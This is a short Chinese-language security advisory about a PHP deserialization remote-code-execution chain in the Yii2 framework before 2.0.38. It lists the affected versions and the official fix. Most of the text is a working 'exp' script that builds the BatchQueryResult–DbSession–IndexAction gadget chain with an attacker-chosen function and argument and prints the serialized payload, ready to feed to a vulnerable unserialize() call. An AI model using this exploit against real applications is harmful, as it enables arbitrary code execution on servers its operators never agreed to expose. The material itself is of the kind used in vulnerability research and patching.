簡介
如果在使用yii框架,並且在用戶可以控制的輸入處調用了unserialize()並允許特殊字符的情況下,會受到反序列化遠程命令命令執行漏洞攻擊。
該漏洞只是php 反序列化的執行鏈,必須要配合unserialize
函數才可以達到任意代碼執行的危害。
該反序列化執行鏈在今年8月初已經公開,建議使用yii框架的同學排查
影響范圍
Yii2 <2.0.38
修復方案
目前官方已經禁止BatchQueryResult
類被反序列化
exp
<?php
namespace yii\rest {
class Action extends \yii\base\Action
{
public $checkAccess;
}
class IndexAction extends Action
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\base {
class BaseObject
{
//
}
class Action
{
public $id;
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult extends BaseObject
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
$exp = new \yii\db\BatchQueryResult($func, $param);
print(serialize($exp));